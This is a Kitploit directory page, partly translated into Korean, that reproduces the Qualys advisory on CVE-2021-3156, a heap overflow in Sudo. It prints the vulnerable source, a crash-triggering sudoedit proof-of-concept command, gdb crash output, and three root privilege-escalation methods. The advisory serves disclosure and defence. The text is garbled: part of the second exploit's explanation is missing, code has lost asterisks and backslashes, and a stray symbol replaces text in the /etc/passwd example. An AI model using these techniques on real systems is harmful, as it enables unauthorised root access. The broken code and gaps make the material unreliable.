Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3156-Heap-Based-Buffer-Overflow-in-Sudo-Baron-Samedit- — CVE-2021-3156에 대한 기술 분석 및 익스플로잇 코드로, Sudo의 힙 기반 버퍼 오버플로우를 이용하여 인증 없이 로컬 권한을 root로 상승시킬 수 있습니다. | Kitploit
도구/GitHubGitHub/sornphut/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit-
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHubsornphut/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit-

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-3156-Heap-Based-Buffer-Overflow-in-Sudo-Baron-Samedit-

CVE-2021-3156에 대한 기술 분석 및 익스플로잇 코드로, Sudo의 힙 기반 버퍼 오버플로우를 이용하여 인증 없이 로컬 권한을 root로 상승시킬 수 있습니다.

저장소 보기
1년 전아직 검토되지 않음

Qualys Security Advisory

Baron Samedit: Sudo의 힙 기반 버퍼 오버플로 (CVE-2021-3156)

======================================================================== 목차

요약 분석 익스플로잇 감사의 말 타임라인

======================================================================== 요약

Sudo(https://www.sudo.ws/)에서 힙 기반 버퍼 오버플로를 발견했습니다. 이 취약점:

  • 모든 로컬 사용자(일반 사용자 및 시스템 사용자, sudoers 및 비sudoers 모두)가 인증 없이(즉, 공격자는 사용자 비밀번호를 알 필요 없음) 악용할 수 있습니다.

  • 2011년 7월(커밋 8255ed69)에 도입되었으며, 기본 구성에서 1.8.2부터 1.8.31p2까지의 모든 레거시 버전과 1.9.0부터 1.9.5p1까지의 모든 안정 버전에 영향을 미칩니다.

  • 이 취약점에 대해 세 가지 다른 익스플로잇을 개발하여 Ubuntu 20.04(Sudo 1.8.31), Debian 10(Sudo 1.8.27), Fedora 33(Sudo 1.9.2)에서 전체 루트 권한을 획득했습니다. 다른 운영 체제 및 배포판도 악용 가능할 가능성이 높습니다.

======================================================================== 분석

Sudo가 "shell" 모드(shell -c command)로 명령을 실행하기 위해 실행되는 경우:

  • MODE_SHELL 플래그를 설정하는 -s 옵션을 통해;
  • 또는 MODE_SHELL 및 MODE_LOGIN_SHELL 플래그를 설정하는 -i 옵션을 통해;

그런 다음 Sudo의 main() 시작 시 parse_args()는 모든 명령줄 인수를 연결하고(587-595행) 모든 메타 문자를 백슬래시로 이스케이프하여(590-591행) argv를 다시 작성합니다(609-617행):


571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 572 char **av, *cmnd = NULL; 573 int ac = 1; ... 581 cmnd = dst = reallocarray(NULL, cmnd_size, 2); ... 587 for (av = argv; *av != NULL; av++) { 588 for (src = *av; src != '\0'; src++) { 589 / quote potential meta characters */ 590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') 591 *dst++ = '\'; 592 *dst++ = *src; 593 } 594 dst++ = ' '; 595 } ... 600 ac += 2; / -c cmnd */ ... 603 av = reallocarray(NULL, ac + 1, sizeof(char *)); ... 609 av[0] = (char )user_details.shell; / plugin may override shell */ 610 if (cmnd != NULL) { 611 av[1] = "-c"; 612 av[2] = cmnd; 613 } 614 av[ac] = NULL; 615 616 argv = av; 617 argc = ac; 618 }

나중에 sudoers_policy_main()에서 set_cmnd()는 명령줄 인수를 힙 기반 버퍼 "user_args"에 연결하고(864-871행) 메타 문자를 이스케이프 해제합니다(866-867행). "sudoers 매칭 및 로깅 목적":


819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ... 852 for (size = 0, av = NewArgv + 1; *av; av++) 853 size += strlen(*av) + 1; 854 if (size == 0 || (user_args = malloc(size)) == NULL) { ... 857 } 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { ... 864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 865 while (*from) { 866 if (from[0] == '\' && !isspace((unsigned char)from[1])) 867 from++; 868 *to++ = *from++; 869 } 870 *to++ = ' '; 871 } ... 884 } ... 886 }

불행히도 명령줄 인수가 단일 백슬래시 문자로 끝나는 경우:

  • 866행에서 "from[0]"은 백슬래시 문자이고 "from[1]"은 인수의 널 종결자입니다(즉, 공백 문자가 아님).

  • 867행에서 "from"이 증가되고 널 종결자를 가리킵니다.

  • 868행에서 널 종결자가 "user_args" 버퍼로 복사되고 "from"이 다시 증가되어 널 종결자 다음 첫 번째 문자를 가리킵니다(즉, 인수의 범위를 벗어남).

  • 865-869행의 "while" 루프는 범위를 벗어난 문자를 읽고 "user_args" 버퍼로 복사합니다.

즉, set_cmnd()는 힙 기반 버퍼 오버플로에 취약합니다. "user_args" 버퍼로 복사되는 범위 밖의 문자들이 해당 버퍼의 크기(852-853행에서 계산됨)에 포함되지 않았기 때문입니다.

그러나 이론적으로는 어떤 명령줄 인수도 단일 백슬래시 문자로 끝날 수 없습니다. MODE_SHELL 또는 MODE_LOGIN_SHELL이 설정된 경우(858행, 취약한 코드에 도달하기 위한 필수 조건) MODE_SHELL이 설정되고(571행) parse_args()가 이미 모든 메타 문자(백슬래시 포함)를 이스케이프했기 때문입니다(즉, 모든 단일 백슬래시를 두 번째 백슬래시로 이스케이프).

그러나 실제로 set_cmnd()의 취약한 코드와 parse_args()의 이스케이프 코드는 약간 다른 조건으로 둘러싸여 있습니다:


819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ... 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

대비:


571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

따라서 질문은 다음과 같습니다. MODE_SHELL을 설정하고 MODE_EDIT 또는 MODE_CHECK를 설정하여(취약한 코드에 도달하기 위해) 기본 MODE_RUN을 설정하지 않음으로써(이스케이프 코드를 피하기 위해) 가능할까요?

대답은 아니오인 것 같습니다. MODE_EDIT(-e 옵션, 361행) 또는 MODE_CHECK(-l 옵션, 423 및 519행)를 설정하면 parse_args()가 "valid_flags"에서 MODE_SHELL을 제거하고(363 및 424행) MODE_SHELL과 같은 잘못된 플래그를 지정하면 오류와 함께 종료됩니다(532-533행):


358 case 'e': ... 361 mode = MODE_EDIT; 362 sudo_settings[ARG_SUDOEDIT].value = "true"; 363 valid_flags = MODE_NONINTERACTIVE; 364 break; ... 416 case 'l': ... 423 mode = MODE_LIST; 424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 425 break; ... 518 if (argc > 0 && mode == MODE_LIST) 519 mode = MODE_CHECK; ... 532 if ((flags & valid_flags) != flags) 533 usage(1);

하지만 허점을 찾았습니다. "sudo" 대신 "sudoedit"으로 Sudo를 실행하면 parse_args()가 자동으로 MODE_EDIT을 설정하지만(270행) "valid_flags"를 재설정하지 않으며, "valid_flags"에는 기본적으로 MODE_SHELL이 포함됩니다(127 및 249행):


127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) ... 249 int valid_flags = DEFAULT_VALID_FLAGS; ... 267 proglen = strlen(progname); 268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 269 progname = "sudoedit"; 270 mode = MODE_EDIT; 271 sudo_settings[ARG_SUDOEDIT].value = "true"; 272 }

결과적으로 "sudoedit -s"를 실행하면 MODE_EDIT 및 MODE_SHELL(둘 다 설정되지만 MODE_RUN은 아님)을 설정하여 이스케이프 코드를 피하고 취약한 코드에 도달하며 단일 백슬래시 문자로 끝나는 명령줄 인수를 통해 힙 기반 버퍼 "user_args"를 오버플로시킬 수 있습니다:


sudoedit -s '' perl -e 'print "A" x 65536' malloc(): corrupted top size Aborted (core dumped)

공격자 관점에서 이 버퍼 오버플로는 이상적입니다:

  • 오버플로하는 "user_args" 버퍼의 크기를 제어할 수 있습니다(연결된 명령줄 인수의 크기, 852-854행).

  • 오버플로 자체의 크기와 내용을 독립적으로 제어할 수 있습니다(마지막 명령줄 인수 뒤에는 크기 계산(852-853행)에 포함되지 않은 첫 번째 환경 변수들이 편리하게 이어집니다).

  • 오버플로하는 버퍼에 널 바이트를 쓸 수도 있습니다(단일 백슬래시로 끝나는 모든 명령줄 인수 또는 환경 변수는 "user_args"에 널 바이트를 씁니다, 866-868행).

예를 들어 amd64 Linux에서 다음 명령은 24바이트 "user_args" 버퍼(32바이트 힙 청크)를 할당하고 다음 청크의 크기 필드를 "A=a\0B=b\0"(0x00623d4200613d41), fd 필드를 "C=c\0D=d\0"(0x00643d4400633d43), bk 필드를 "E=e\0F=f\0"(0x00663d4600653d45)로 덮어씁니다:


env -i 'AA=a' 'B=b' 'C=c' 'D=d' 'E=e' 'F=f' sudoedit -s '1234567890123456789012'

--|--------+--------+--------+--------|--------+--------+--------+--------+-- | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| --|--------+--------+--------+--------|--------+--------+--------+--------+-- size <---- user_args buffer ----> size fd bk

======================================================================== 익스플로잇

Sudo는 main() 함수의 맨 처음에서 지역화 함수를 호출하기 때문에:


154 setlocale(LC_ALL, ""); 155 bindtextdomain(PACKAGE_NAME, LOCALEDIR); 156 textdomain(PACKAGE_NAME);

번역 문자열(gettext() 함수 및 _() 매크로를 통해)을 다음과 같은 형식 문자열 함수에 전달합니다:


301 sudo_printf(SUDO_CONV_ERROR_MSG, _("%s is not in the sudoers " 302 "file. This incident will be reported.\n"), user_name);

처음에는 halfdog의 흥미로운 기법(https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)을 재사용하여 Sudo의 힙 기반 버퍼 오버플로를 형식 문자열 익스플로잇으로 변환하려고 했습니다. 더 정확히 말하면:

  • 154행의 setlocale()에서 여러 LC 환경 변수(LC_CTYPE, LC_MESSAGES, LC_TIME 등)를 malloc() 및 free()하여 Sudo 힙의 맨 처음에 작은 구멍(빠른 또는 tcache 청크 해제)을 만듭니다.

  • 155행의 bindtextdomain()은 struct binding을 malloc()합니다. 이 구조체에는 ".mo" 카탈로그 파일(따라서 번역 문자열)이 포함된 디렉터리 이름을 가리키는 dirname 포인터가 포함됩니다.

  • set_cmnd()에서 Sudo 힙 시작 부분의 구멍 중 하나에 "user_args" 버퍼를 malloc()하고 이 버퍼를 오버플로하여 struct binding의 dirname 포인터를 덮어씁니다.

  • 301행(예시)에서 gettext()(_() 매크로를 통해)은 덮어쓴 dirname에서 우리 자신의 번역 문자열을 로드합니다. 즉, sudo_printf()에 전달되는 형식 문자열을 제어합니다.

이 초기 기법을 구현하기 위해 gdb 내에서 Sudo를 실행하고 "user_args" 버퍼를 오버플로하며 다음 매개변수를 무작위로 선택하는 기본적인 브루트포서를 작성했습니다:

  • Sudo에 전달하는 LC 환경 변수 및 해당 길이("C.UTF-8" 로케일을 사용하고 임의의 "@modifier"를 추가합니다).

  • 오버플로하는 "user_args" 버퍼의 크기.

  • 오버플로 자체의 크기.

  • Sudo의 인증 코드를 통과할지(-A 또는 -n 옵션) 여부(-u #realuid 옵션).

안타깝게도 이 초기 기법은 실패했습니다. 브루트포서가 struct binding의 dirname 포인터를 덮어쓸 수 있었습니다:


Program received signal SIGSEGV, Segmentation fault.

0x00007f6e0dde1ea9 in __dcigettext (domainname=domainname@entry=0x7f6e0d9cc020 "sudoers", msgid1=msgid1@entry=0x7f6e0d9cc014 "user NOT in sudoers", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0, category=5) at dcigettext.c:619

=> 0x7f6e0dde1ea9 <__dcigettext+1257>: cmpb $0x2f,(%rax)

rax 0x4141414141414141 4702111234474983745

하지만 LC_MESSAGES는 항상 기본 "C" 로케일("C.UTF-8"이 아님)이었으므로 gettext()에서 문자열 번역이 비활성화되었습니다(즉, gettext()는 원래 형식 문자열을 반환하고 자체 문자열은 반환하지 않음).

다행히도 브루트포서는 수십 개의 고유한 Sudo 충돌 및 gdb 역추적을 생성했습니다. 그중 세 가지가 우리의 관심을 끌었고 결국 모두 익스플로잇했습니다.

======================================================================== 1/ struct sudo_hook_entry 덮어쓰기

우리의 관심을 끈 첫 번째 충돌은 다음과 같습니다:


Program received signal SIGSEGV, Segmentation fault.

0x000056291a25d502 in process_hooks_getenv (name=name@entry=0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB", value=value@entry=0x7ffc595cc240) at ../../src/hooks.c:108

=> 0x56291a25d502 <process_hooks_getenv+82>: callq *0x8(%rbx)

rbx 0x56291c1df2b0 94734565372592

0x56291c1df2b0: 0x4141414141414141 0x4141414141414141

놀랍게도 Sudo의 함수 process_hooks_getenv()가(108행) 충돌한 이유는 함수 포인터 getenv_fn(힙 기반 struct sudo_hook_entry의 멤버)을 직접 덮어썼기 때문입니다:


99 int 100 process_hooks_getenv(const char *name, char **value) 101 { 102 struct sudo_hook_entry *hook; 103 char *val = NULL; ... 107 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) { 108 rc = hook->u.getenv_fn(name, &val, hook->closure);

이 struct sudo_hook_entry 덮어쓰기를 익스플로잇하기 위해 다음 사항에 주목합니다:

  • getenv_fn 호출(108행)은 execve() 호출과 호환됩니다.

    . name("SYSTEMD_BYPASS_USERDB")은 execve()의 pathname 인수와 호환됩니다.

    . &val(NULL 포인터를 가리키는 포인터)은 execve()의 argv와 호환됩니다.

    . hook->closure(NULL 포인터)는 execve()의 envp와 호환됩니다.

  • ASLR을 우회하기 위해 함수 포인터 getenv_fn(공유 라이브러리 sudoers.so의 함수 sudoers_hook_getenv()를 가리킴)을 부분적으로 덮어쓸 수 있습니다. 운 좋게도 sudoers.so의 시작 부분에는 execve()(또는 execv()) 호출이 포함되어 있습니다:


0000000000008a00 execv@plt: 8a00: f3 0f 1e fa endbr64 8a04: f2 ff 25 65 55 05 00 bnd jmpq *0x55565(%rip) # 5df70 <execv@GLIBC_2.2.5> 8a0b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

  • Ubuntu에서 권한이 없는 사용자로 /dev/kmsg(dmesg)를 읽을 수 있으므로 Sudo 충돌에 대한 자세한 정보를 얻을 수 있습니다.

따라서 다음 전략을 채택합니다:

  • 먼저 익스플로잇 매개변수를 무작위로 시도하여 getenv_fn을 잘못된 사용자 공간 주소(0x800000000000 이상)로 덮어씁니다. getenv_fn 호출 사이트에서 일반 보호 오류를 관찰할 때까지:

sudoedit[15904] general protection fault ip:55e9b645b502 sp:7ffe53d6fa40 error:0 in sudo[55e9b644e000+1a000] ^^^

  • 다음으로, 동일한 익스플로잇 매개변수를 사용하지만 getenv_fn을 유효한(0x800000000000 미만) 그러나 매핑되지 않은 사용자 공간 주소의 일반 패턴으로 덮어씁니다. 이 예에서 getenv_fn은 덮어쓴 22번째 포인터입니다(0x32는 '2', 패턴의 일부):

sudoedit[15906]: segfault at 323230303030 ip 0000323230303030 sp 00007ffeeabf2868 error 14 in sudo[55b036c16000+5000] ^^^^

  • 마지막으로 getenv_fn을 부분적으로 덮어씁니다(두 개의 최하위 바이트를 sudoers.so의 execv() 오프셋인 0x8a00으로, 세 번째 바이트를 set_cmnd()의 user_args 널 종결자인 0x00으로 덮어씀). ASLR을 우회할 때까지: 2^(3*8-12) = 2^12 = 4096번 시도 후 getenv_fn을 execv()의 주소로 덮어쓸 가능성이 높아 "SYSTEMD_BYPASS_USERDB"라는 이름의 자체 바이너리를 루트로 실행하게 됩니다.

이 첫 번째 익스플로잇을 Ubuntu 20.04에서 성공적으로 테스트했습니다.

======================================================================== 2/ struct service_user 덮어쓰기

우리의 관심을 끈 두 번째 충돌은 다음과 같습니다:


Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)

rbx 0x41414141414141 18367622009667905

glibc의 함수 nss_load_library()가(344행) 충돌한 이유는 힙 기반 struct service_user의 멤버인 포인터 "library"를 덮어썼기 때문입니다:


327 static int 328 nss_load_library (service_user ni) 329 { 330 if (ni->library == NULL) 331 { ... 338 ni->library = nss_new_service (service_table ?: &default_table, 339 ni->name); ... 342 } 343 344 if (ni->library->lib_handle == NULL) 345 { 346 / Load the shared library. / 347 size_t shlen = (7 + strlen (ni->name) + 3 348 + strlen (__nss_shlib_revision) + 1); 349 int saved_errno = errno; 350 char shlib_name[shlen]; 351 352 / Construct shared object name. */ 353 __stpcpy (__stpcpy (__stpcpy (_stpcpy (shlib_name, 354 "libnss"), 355 ni->name), 356 ".so"), 357 __nss_shlib_revision); 358 359 ni->library->lib_handle = __libc_dlopen (shlib_name);- at line 359, we load our own shared library "libnss_X/X.so.2" from the current working directory and execute our _init() constructor as root.

We successfully tested this second exploit on Ubuntu 20.04, Debian 10, and Fedora 33.

======================================================================== 3/ def_timestampdir overwrite

Our third exploit is not derived from one of Sudo's crashes, but from a casual observation: during our brute-force, Sudo created dozens of new directories in our current working directory (AAAAAA, AAAAAAAAA, etc). Each of these directories belongs to root and contains only one small file, named after our own user: Sudo's timestamp file -- we evidently overwrote def_timestampdir, the name of Sudo's timestamp directory.

If we overwrite def_timestampdir with the name of a directory that does not already exist, then we can race against Sudo's ts_mkdirs(), create a symlink to an arbitrary file, and:

3a/ either chown() this arbitrary file to user root and group root;

3b/ or open (or create) this arbitrary file as root, and write a struct timestamp_entry to it.

We were unable to transform 3a/ into full root privileges (for example, if we chown() our own SUID binary to root, then the kernel automatically removes our binary's SUID bit). If you, dear reader, find a solution to this problem, please post it to the public oss-security mailing list!

Eventually, we were able to transform 3b/ into full root privileges, but we initially faced two problems:

  • Sudo's timestamp_open() deletes our arbitrary symlink if the file it points to is older than boot time. We were able to solve this first problem by creating a very old timestamp file (from the Unix epoch), by waiting until timestamp_open() deletes it, and by racing against timestamp_open() to create our final, arbitrary symlink.

  • We do not control the contents of the struct timestamp_entry that is written to the arbitrary file. To the best of our knowledge, we only control three bytes (a process ID or a struct timespec), and we were unable to transform this three-byte write into full root privileges. If you, dear reader, find a solution to this problem, please post it to the public oss-security mailing list!

However, we were able to circumvent this second problem by abusing a minor bug in Sudo's timestamp_lock(). If we win the two races against ts_mkdirs() and timestamp_open(), and if our arbitrary symlink points to /etc/passwd, then this file is opened as root, and:


65 struct timestamp_entry { 66 unsigned short version; /* version number / 67 unsigned short size; / entry size / 68 unsigned short type; / TS_GLOBAL, TS_TTY, TS_PPID */ .. 78 };

305 static ssize_t 306 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset) 307 { ... 318 nwritten = pwrite(fd, entry, entry->size, offset); ... 350 }

619 bool 620 timestamp_lock(void *vcookie, struct passwd *pw) 621 { 622 struct ts_cookie *cookie = vcookie; 623 struct timestamp_entry entry; ... 644 nread = read(cookie->fd, &entry, sizeof(entry)); 645 if (nread == 0) { ... 652 } else if (entry.type != TS_LOCKEXCL) { ... 657 if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1)

  • at line 644, the first 0x38 bytes of /etc/passwd ("root❌0:0:...") are read into a stack-based struct timestamp_entry, entry;

  • at line 652, entry.type is 0x783a (":x"), not TS_LOCKEXCL;

  • at lines 657 and 318, entry->size bytes from the stack-based entry are written to /etc/passwd, but entry->size is actually 0x746f ("ot"), not sizeof(struct timestamp_entry).

As a result, we write the entire contents of Sudo's stack to /etc/passwd (including our command-line arguments and our environment variables): we inject an arbitrary user into /etc/passwd and therefore obtain full root privileges. We successfully tested this third exploit on Ubuntu 20.04.

Note: this minor bug in timestamp_lock() was fixed in January 2020 by commit 586b418a, but this fix was not backported to legacy versions.

======================================================================== Acknowledgments

We thank Todd C. Miller for his professionalism, quick response, and meticulous attention to every detail in our report. We also thank the members of distros@openwall.

======================================================================== Timeline

2021-01-13: Advisory sent to Todd.Miller@sudo.

2021-01-19: Advisory and patches sent to distros@openwall.

2021-01-26: Coordinated Release Date (6:00 PM UTC).

도구 다운로드